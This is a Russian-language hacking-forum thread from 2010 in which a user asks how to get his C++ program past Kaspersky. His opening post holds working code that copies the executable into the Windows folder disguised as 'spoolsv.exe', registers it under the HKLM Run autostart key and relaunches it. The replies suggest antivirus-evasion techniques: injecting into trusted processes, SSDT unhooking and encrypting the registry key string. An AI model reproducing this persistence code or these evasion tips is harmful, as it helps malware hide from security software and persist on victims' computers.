Как спопировать файл С++ с обходом kAV

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by agrofyl2, 22 Feb 2010.

  1. agrofyl2

    agrofyl2 New Member

    Joined:
    25 Apr 2008
    Messages:
    54
    Likes Received:
    4
    Reputations:
    0
    Пытаюсь скопировать файлик в папку винды, прописать его в реестр и запустить
    Code:
    
    void OnStart() {
       //Получаем путь к своей программе
      wchar_t path[1025]=L"";
      GetModuleFileNameW(NULL, path, 1024);
      
      //Получаем путь для копирования
      wchar_t copy2path[1025]=L"";
      GetWindowsDirectoryW(copy2path, 1024);
      wcscat(copy2path, L"\\spoolsv.exe");
      
      //Сравниваем пути
      if(wcsicmp(path, copy2path)==0) return;
      
      //Либо 1) Еще не скопированы в систему
      //2) Скопированы, но запущено вторично из др. источника
    	
      //Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим
      if(!CopyFileW(path, copy2path, 1)) {
        MessageBox(0, "Cant copy", "", 0);
        exit(0);
      }
    
      //Если скопированы удачно - добавляемся в реестр
      else { 
        HKEY key;//Add In Autorun
        DWORD action;
        if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHINE, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL,  REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action))
        {
          RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1);
          RegCloseKey(key);	
          
          //Добавлено удачно - запускаем программу, а сами выходим
          char forexec[1025]="";
          wcstombs(forexec, copy2path, 1024);
          
          STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si);
          
          if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
          WinExec(forexec, 0);
          exit(0);
         }
        exit(0);
      }
    }
    
    Но касперский пишет: "поведение, похожее на Trojan Generic"
    Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит)
    Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW

    В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?
     
  2. Hiro Protagonist

    Joined:
    26 Aug 2009
    Messages:
    132
    Likes Received:
    24
    Reputations:
    -2
    плять, проактивка же работает. Ищи возможность внедрения в доверенные процессы и уже из них копируй.
     
  3. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Тут побольшей части ругается не на копирование, а на прописание в реестре в секции автозагрузки. И от этого тяжко уйти, если не знаешь приват методов )
     
  4. crypt0n

    crypt0n Member

    Joined:
    20 Feb 2010
    Messages:
    40
    Likes Received:
    5
    Reputations:
    0
    ssdt unhook ( NtCreateFile) ?
     
  5. 0verbreaK

    0verbreaK Elder - Старейшина

    Joined:
    30 Apr 2008
    Messages:
    318
    Likes Received:
    42
    Reputations:
    -3
    >>ssdt unhook ( NtCreateFile) ?

    Какбэ помягче выразится - чушь предлагаете!
     
  6. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    вот хитронод ругается на копирование в виндопапку.
    Притом он реально различает кодесы, отличающиеся в
    Code:
    ExpandEnvironmentStrings("%windir%",b, 255); // длины хватает, опасный код детектед!!
    
    и
    Code:
    ExpandEnvironmentStrings("%windir%",b, 1); // длины не хватает, код безопасен
    
    , и смешно подвисает на бесконечных циклах :)

    Приват-не приват - достаточно очевидные способы есть, но вот почему-то рассказывать их не хочется.
     
  7. Fliplab

    Fliplab Elder - Старейшина

    Joined:
    29 Jul 2008
    Messages:
    123
    Likes Received:
    20
    Reputations:
    3
    Поробуй шифровать ключ реестра и где надо расшифровывай.